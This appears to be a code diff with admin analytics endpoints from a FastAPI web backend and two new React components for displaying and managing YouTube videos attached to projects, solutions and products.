data.append(record_dict.get(current, 0))
current += timedelta(days=1)
return ChartDataResponse(labels=labels, data=data)
@router.get("/admin/chart/unique", response_model=ChartDataResponse)
def get_unique_visitors_chart(
days: int = Query(default=30, ge=7, le=90),
db: Session = Depends(get_db),
_: str = Depends(get_current_admin)
):
"""Get daily unique visitors chart data"""
today = date.today()
start_date = today - timedelta(days=days-1)
daily_unique = db.query(
VisitorLog.visit_date,
func.count(func.distinct(VisitorLog.ip_address)).label("unique_count")
).filter(
VisitorLog.visit_date >= start_date,
VisitorLog.visit_date <= today
).group_by(VisitorLog.visit_date).all()
unique_dict = {r.visit_date: r.unique_count for r in daily_unique}
labels = []
data = []
current = start_date
while current <= today:
labels.append(current.strftime("%m/%d"))
data.append(unique_dict.get(current, 0))
current += timedelta(days=1)
return ChartDataResponse(labels=labels, data=data)
@router.get("/admin/breakdown/device", response_model=BreakdownResponse)
def get_device_breakdown(
days: int = Query(default=30, ge=7, le=90),
db: Session = Depends(get_db),
_: str = Depends(get_current_admin)
):
start_date = date.today() - timedelta(days=days)
stats = db.query(
VisitorLog.device_type,
func.count(VisitorLog.id).label("count")
).filter(
VisitorLog.visit_date >= start_date,
VisitorLog.device_type.isnot(None)
).group_by(VisitorLog.device_type).order_by(desc("count")).all()
total = sum(s.count for s in stats) or 1
items = [
BreakdownItem(name=s.device_type or "Unknown", count=s.count, percentage=round((s.count / total) * 100, 1))
for s in stats
]
return BreakdownResponse(items=items, total=total)
@router.get("/admin/breakdown/browser", response_model=BreakdownResponse)
def get_browser_breakdown(
days: int = Query(default=30, ge=7, le=90),
db: Session = Depends(get_db),
_: str = Depends(get_current_admin)
):
start_date = date.today() - timedelta(days=days)
stats = db.query(
VisitorLog.browser,
func.count(VisitorLog.id).label("count")
).filter(
VisitorLog.visit_date >= start_date,
VisitorLog.browser.isnot(None)
).group_by(VisitorLog.browser).order_by(desc("count")).limit(10).all()
total = sum(s.count for s in stats) or 1
items = [
BreakdownItem(name=s.browser or "Unknown", count=s.count, percentage=round((s.count / total) * 100, 1))
for s in stats
]
return BreakdownResponse(items=items, total=total)
@router.get("/admin/breakdown/os", response_model=BreakdownResponse)
def get_os_breakdown(
days: int = Query(default=30, ge=7, le=90),
db: Session = Depends(get_db),
_: str = Depends(get_current_admin)
):
start_date = date.today() - timedelta(days=days)
stats = db.query(
VisitorLog.os,
func.count(VisitorLog.id).label("count")
).filter(
VisitorLog.visit_date >= start_date,
VisitorLog.os.isnot(None)
).group_by(VisitorLog.os).order_by(desc("count")).limit(10).all()
total = sum(s.count for s in stats) or 1
items = [
BreakdownItem(name=s.os or "Unknown", count=s.count, percentage=round((s.count / total) * 100, 1))
for s in stats
]
return BreakdownResponse(items=items, total=total)
@router.get("/admin/top-pages", response_model=TopPagesResponse)
def get_top_pages(
days: int = Query(default=30, ge=7, le=90),
db: Session = Depends(get_db),
_: str = Depends(get_current_admin)
):
start_date = date.today() - timedelta(days=days)
stats = db.query(
VisitorLog.page_path,
func.count(VisitorLog.id).label("count")
).filter(
VisitorLog.visit_date >= start_date,
VisitorLog.page_path.isnot(None)
).group_by(VisitorLog.page_path).order_by(desc("count")).limit(10).all()
total = sum(s.count for s in stats) or 1
pages = [
TopPageItem(path=s.page_path or "/", count=s.count, percentage=round((s.count / total) * 100, 1))
for s in stats
]
return TopPagesResponse(pages=pages, total=total)
@router.get("/admin/top-referrers", response_model=TopReferrersResponse)
def get_top_referrers(
days: int = Query(default=30, ge=7, le=90),
db: Session = Depends(get_db),
_: str = Depends(get_current_admin)
):
start_date = date.today() - timedelta(days=days)
stats = db.query(
VisitorLog.referrer_domain,
func.count(VisitorLog.id).label("count")
).filter(
VisitorLog.visit_date >= start_date,
VisitorLog.referrer_domain.isnot(None)
).group_by(VisitorLog.referrer_domain).order_by(desc("count")).limit(10).all()
total = sum(s.count for s in stats) or 1
referrers = [
TopReferrerItem(domain=s.referrer_domain or "(direct)", count=s.count, percentage=round((s.count / total) * 100, 1))
for s in stats
]
return TopReferrersResponse(referrers=referrers, total=total)
@router.get("/admin/realtime", response_model=RealtimeStatsResponse)
def get_realtime_stats(
db: Session = Depends(get_db),
_: str = Depends(get_current_admin)
):
now = datetime.now()
five_minutes_ago = now - timedelta(minutes=5)
active_count = db.query(func.count(VisitorLog.id)).filter(
VisitorLog.visited_at >= five_minutes_ago
).scalar() or 0
return RealtimeStatsResponse(active_visitors=active_count, last_5_minutes=active_count)

136
temp_youtube_display.tsx Normal file
View File

@@ -0,0 +1,136 @@
"use client";
import { useState, useEffect } from "react";
import { useLanguage } from "@/contexts/LanguageContext";
import { contentVideosApi, ContentVideoPublic } from "@/lib/api";
import { Youtube, Play, X } from "lucide-react";
interface YouTubeVideoDisplayProps {
entityType: "project" | "solution" | "product";
entityId: number;
}
export default function YouTubeVideoDisplay({
entityType,
entityId,
}: YouTubeVideoDisplayProps) {
const { locale } = useLanguage();
const [videos, setVideos] = useState<ContentVideoPublic[]>([]);
const [loading, setLoading] = useState(true);
const [playingVideo, setPlayingVideo] = useState<ContentVideoPublic | null>(null);
useEffect(() => {
const fetchVideos = async () => {
try {
const data = await contentVideosApi.getForEntity(entityType, entityId, locale);
setVideos(data);
} catch (error) {
console.error("Failed to fetch videos:", error);
} finally {
setLoading(false);
}
};
fetchVideos();
}, [entityType, entityId, locale]);
if (loading || videos.length === 0) {
return null;
}
return (
<>
{/* Video Section */}
<div className="mt-12">
<div className="flex items-center gap-2 mb-6">
<Youtube className="w-6 h-6 text-red-500" />
<h3 className="text-xl font-bold text-gray-900">
{locale === "ko" ? "관련 영상" :
locale === "en" ? "Related Videos" :
locale === "ja" ? "関連動画" : "相关视频"}
</h3>
</div>
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-4">
{videos.map((video) => (
<div
key={video.id}
className="group relative bg-gray-100 rounded-xl overflow-hidden cursor-pointer"
onClick={() => setPlayingVideo(video)}
>
{/* Thumbnail */}
<div className="aspect-video relative">
<img
src={video.thumbnail_url}
alt={video.title}
className="w-full h-full object-cover transition-transform group-hover:scale-105"
onError={(e) => {
(e.target as HTMLImageElement).src =
`https://img.youtube.com/vi/${video.youtube_id}/hqdefault.jpg`;
}}
/>
{/* Play button overlay */}
<div className="absolute inset-0 flex items-center justify-center bg-black/20 group-hover:bg-black/40 transition-colors">
<div className="w-16 h-16 bg-red-500 rounded-full flex items-center justify-center shadow-lg transform group-hover:scale-110 transition-transform">
<Play className="w-8 h-8 text-white ml-1" fill="white" />
</div>
</div>
</div>
{/* Title */}
<div className="p-3">
<h4 className="font-medium text-gray-900 line-clamp-2">
{video.title}
</h4>
{video.description && (
<p className="text-sm text-gray-500 mt-1 line-clamp-2">
{video.description}
</p>
)}
</div>
</div>
))}
</div>
</div>
{/* Video Modal */}
{playingVideo && (
<div
className="fixed inset-0 z-50 flex items-center justify-center bg-black/80"
onClick={() => setPlayingVideo(null)}
>
<div
className="relative w-full max-w-4xl mx-4"
onClick={(e) => e.stopPropagation()}
>
{/* Close button */}
<button
onClick={() => setPlayingVideo(null)}
className="absolute -top-12 right-0 text-white hover:text-gray-300 transition"
>
<X className="w-8 h-8" />
</button>
{/* Video iframe */}
<div className="aspect-video bg-black rounded-lg overflow-hidden">
<iframe
src={`${playingVideo.youtube_embed_url}?autoplay=1`}
title={playingVideo.title}
className="w-full h-full"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
allowFullScreen
/>
</div>
{/* Video title */}
<div className="mt-4 text-white">
<h3 className="text-xl font-semibold">{playingVideo.title}</h3>
{playingVideo.description && (
<p className="text-gray-300 mt-2">{playingVideo.description}</p>
)}
</div>
</div>
</div>
)}
</>
);
}

450
temp_youtube_manager.tsx Normal file
View File

@@ -0,0 +1,450 @@
"use client";
import { useState, useEffect } from "react";
import { useAuth } from "@/contexts/AuthContext";
import { contentVideosApi, ContentVideo, ContentVideoCreate } from "@/lib/api";
import {
Youtube,
Plus,
Trash2,
Edit,
GripVertical,
X,
ExternalLink,
Eye,
EyeOff,
} from "lucide-react";
interface YouTubeVideoManagerProps {
entityType: "project" | "solution" | "product";
entityId: number;
entityTitle?: string;
}
export default function YouTubeVideoManager({
entityType,
entityId,
entityTitle,
}: YouTubeVideoManagerProps) {
const { token } = useAuth();
const [videos, setVideos] = useState<ContentVideo[]>([]);
const [loading, setLoading] = useState(true);
const [showModal, setShowModal] = useState(false);
const [editingVideo, setEditingVideo] = useState<ContentVideo | null>(null);
const [formData, setFormData] = useState<Partial<ContentVideoCreate>>({
youtube_id: "",
title_ko: "",
title_en: "",
title_ja: "",
title_zh: "",
description_ko: "",
entity_type: entityType,
entity_id: entityId,
is_active: true,
});
const fetchVideos = async () => {
if (!token) return;
try {
const data = await contentVideosApi.adminList(token, entityType, entityId);
setVideos(data);
} catch (error) {
console.error("Failed to fetch videos:", error);
} finally {
setLoading(false);
}
};
useEffect(() => {
fetchVideos();
}, [token, entityType, entityId]);
const extractYoutubeId = (input: string): string => {
if (!input) return "";
// Already a plain ID
if (/^[a-zA-Z0-9_-]{11}$/.test(input)) return input;
// Extract from URL
const match = input.match(
/(?:youtube\.com\/watch\?v=|youtu\.be\/|youtube\.com\/embed\/)([a-zA-Z0-9_-]{11})/
);
return match ? match[1] : input;
};
const handleSubmit = async (e: React.FormEvent) => {
e.preventDefault();
if (!token) return;
try {
const youtubeId = extractYoutubeId(formData.youtube_id || "");
const payload = {
...formData,
youtube_id: youtubeId,
entity_type: entityType,
entity_id: entityId,
};
if (editingVideo) {
await contentVideosApi.adminUpdate(editingVideo.id, payload, token);
} else {
await contentVideosApi.adminCreate(payload as ContentVideoCreate, token);
}
setShowModal(false);
setEditingVideo(null);
resetForm();
fetchVideos();
} catch (error) {
console.error("Failed to save video:", error);
alert("저장에 실패했습니다.");
}
};
const handleDelete = async (id: number) => {
if (!token || !confirm("이 영상을 삭제하시겠습니까?")) return;
try {
await contentVideosApi.adminDelete(id, token);
fetchVideos();
} catch (error) {
console.error("Failed to delete video:", error);
}
};
const handleToggleActive = async (video: ContentVideo) => {
if (!token) return;
try {
await contentVideosApi.adminUpdate(
video.id,
{ is_active: !video.is_active },
token
);
fetchVideos();
} catch (error) {
console.error("Failed to toggle active:", error);
}
};
const resetForm = () => {
setFormData({
youtube_id: "",
title_ko: "",
title_en: "",
title_ja: "",
title_zh: "",
description_ko: "",
entity_type: entityType,
entity_id: entityId,
is_active: true,
});
};
const openEditModal = (video: ContentVideo) => {
setEditingVideo(video);
setFormData({
youtube_id: video.youtube_id,
title_ko: video.title_ko,
title_en: video.title_en || "",
title_ja: video.title_ja || "",
title_zh: video.title_zh || "",
description_ko: video.description_ko || "",
is_active: video.is_active,
});
setShowModal(true);
};
const openAddModal = () => {
setEditingVideo(null);
resetForm();
setShowModal(true);
};
return (
<div className="bg-white rounded-xl shadow-sm p-6">
<div className="flex items-center justify-between mb-4">
<div className="flex items-center gap-2">
<Youtube className="w-5 h-5 text-red-500" />
<h3 className="text-lg font-semibold text-gray-900">YouTube </h3>
{entityTitle && (
<span className="text-sm text-gray-500">- {entityTitle}</span>
)}
</div>
<button
onClick={openAddModal}
className="flex items-center gap-2 px-3 py-2 bg-red-500 text-white rounded-lg hover:bg-red-600 transition text-sm"
>
<Plus className="w-4 h-4" />
</button>
</div>
{loading ? (
<div className="text-center py-8 text-gray-500"> ...</div>
) : videos.length === 0 ? (
<div className="text-center py-8 text-gray-500 border-2 border-dashed rounded-lg">
<Youtube className="w-12 h-12 mx-auto mb-2 text-gray-300" />
<p> </p>
<button
onClick={openAddModal}
className="mt-2 text-red-500 hover:underline text-sm"
>
</button>
</div>
) : (
<div className="space-y-3">
{videos.map((video) => (
<div
key={video.id}
className={`flex items-center gap-4 p-3 rounded-lg border ${
video.is_active ? "bg-white" : "bg-gray-50 opacity-60"
}`}
>
<GripVertical className="w-5 h-5 text-gray-400 cursor-move" />
{/* Thumbnail */}
<div className="relative w-32 h-20 flex-shrink-0">
<img
src={video.thumbnail_url}
alt={video.title_ko}
className="w-full h-full object-cover rounded"
onError={(e) => {
(e.target as HTMLImageElement).src = `https://img.youtube.com/vi/${video.youtube_id}/hqdefault.jpg`;
}}
/>
<div className="absolute inset-0 flex items-center justify-center">
<div className="w-10 h-10 bg-red-500/80 rounded-full flex items-center justify-center">
<div className="w-0 h-0 border-l-[12px] border-l-white border-y-[8px] border-y-transparent ml-1" />
</div>
</div>
</div>
{/* Info */}
<div className="flex-1 min-w-0">
<h4 className="font-medium text-gray-900 truncate">
{video.title_ko}
</h4>
{video.title_en && (
<p className="text-sm text-gray-500 truncate">{video.title_en}</p>
)}
<p className="text-xs text-gray-400 mt-1">
ID: {video.youtube_id}
</p>
</div>
{/* Actions */}
<div className="flex items-center gap-2">
<a
href={video.youtube_url}
target="_blank"
rel="noopener noreferrer"
className="p-2 text-gray-500 hover:text-blue-500 transition"
title="YouTube에서 보기"
>
<ExternalLink className="w-4 h-4" />
</a>
<button
onClick={() => handleToggleActive(video)}
className={`p-2 transition ${
video.is_active
? "text-green-500 hover:text-green-600"
: "text-gray-400 hover:text-gray-600"
}`}
title={video.is_active ? "활성" : "비활성"}
>
{video.is_active ? (
<Eye className="w-4 h-4" />
) : (
<EyeOff className="w-4 h-4" />
)}
</button>
<button
onClick={() => openEditModal(video)}
className="p-2 text-gray-500 hover:text-blue-500 transition"
title="수정"
>
<Edit className="w-4 h-4" />
</button>
<button
onClick={() => handleDelete(video.id)}
className="p-2 text-gray-500 hover:text-red-500 transition"
title="삭제"
>
<Trash2 className="w-4 h-4" />
</button>
</div>
</div>
))}
</div>
)}
{/* Modal */}
{showModal && (
<div className="fixed inset-0 z-50 flex items-center justify-center bg-black/50">
<div className="bg-white rounded-xl shadow-xl w-full max-w-lg mx-4 max-h-[90vh] overflow-y-auto">
<div className="flex items-center justify-between p-4 border-b">
<h3 className="text-lg font-semibold">
{editingVideo ? "영상 수정" : "영상 추가"}
</h3>
<button
onClick={() => setShowModal(false)}
className="p-1 hover:bg-gray-100 rounded"
>
<X className="w-5 h-5" />
</button>
</div>
<form onSubmit={handleSubmit} className="p-4 space-y-4">
{/* YouTube URL/ID */}
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
YouTube URL ID *
</label>
<input
type="text"
value={formData.youtube_id || ""}
onChange={(e) =>
setFormData({ ...formData, youtube_id: e.target.value })
}
placeholder="https://youtube.com/watch?v=... 또는 영상 ID"
className="w-full px-3 py-2 border rounded-lg focus:ring-2 focus:ring-red-500 focus:border-transparent"
required
/>
<p className="text-xs text-gray-500 mt-1">
URL이나 ID(11)
</p>
</div>
{/* Preview */}
{formData.youtube_id && (
<div className="relative aspect-video bg-gray-100 rounded-lg overflow-hidden">
<img
src={`https://img.youtube.com/vi/${extractYoutubeId(
formData.youtube_id
)}/maxresdefault.jpg`}
alt="Preview"
className="w-full h-full object-cover"
onError={(e) => {
(e.target as HTMLImageElement).src = `https://img.youtube.com/vi/${extractYoutubeId(
formData.youtube_id || ""
)}/hqdefault.jpg`;
}}
/>
</div>
)}
{/* Title KO */}
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
() *
</label>
<input
type="text"
value={formData.title_ko || ""}
onChange={(e) =>
setFormData({ ...formData, title_ko: e.target.value })
}
className="w-full px-3 py-2 border rounded-lg focus:ring-2 focus:ring-red-500 focus:border-transparent"
required
/>
</div>
{/* Title EN */}
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
Title (English)
</label>
<input
type="text"
value={formData.title_en || ""}
onChange={(e) =>
setFormData({ ...formData, title_en: e.target.value })
}
className="w-full px-3 py-2 border rounded-lg focus:ring-2 focus:ring-red-500 focus:border-transparent"
/>
</div>
{/* Title JA */}
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
()
</label>
<input
type="text"
value={formData.title_ja || ""}
onChange={(e) =>
setFormData({ ...formData, title_ja: e.target.value })
}
className="w-full px-3 py-2 border rounded-lg focus:ring-2 focus:ring-red-500 focus:border-transparent"
/>
</div>
{/* Title ZH */}
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
()
</label>
<input
type="text"
value={formData.title_zh || ""}
onChange={(e) =>
setFormData({ ...formData, title_zh: e.target.value })
}
className="w-full px-3 py-2 border rounded-lg focus:ring-2 focus:ring-red-500 focus:border-transparent"
/>
</div>
{/* Description */}
<div>
<label className="block text-sm font-medium text-gray-700 mb-1">
()
</label>
<textarea
value={formData.description_ko || ""}
onChange={(e) =>
setFormData({ ...formData, description_ko: e.target.value })
}
rows={3}
className="w-full px-3 py-2 border rounded-lg focus:ring-2 focus:ring-red-500 focus:border-transparent"
/>
</div>
{/* Active Toggle */}
<div className="flex items-center gap-2">
<input
type="checkbox"
id="is_active"
checked={formData.is_active}
onChange={(e) =>
setFormData({ ...formData, is_active: e.target.checked })
}
className="w-4 h-4 text-red-500 rounded"
/>
<label htmlFor="is_active" className="text-sm text-gray-700">
( )
</label>
</div>
{/* Buttons */}
<div className="flex justify-end gap-2 pt-4">
<button
type="button"
onClick={() => setShowModal(false)}
className="px-4 py-2 text-gray-700 bg-gray-100 rounded-lg hover:bg-gray-200 transition"
>
</button>
<button
type="submit"
className="px-4 py-2 bg-red-500 text-white rounded-lg hover:bg-red-600 transition"
>
{editingVideo ? "수정" : "추가"}
</button>
</div>
</form>
</div>
</div>
)}
</div>
);
}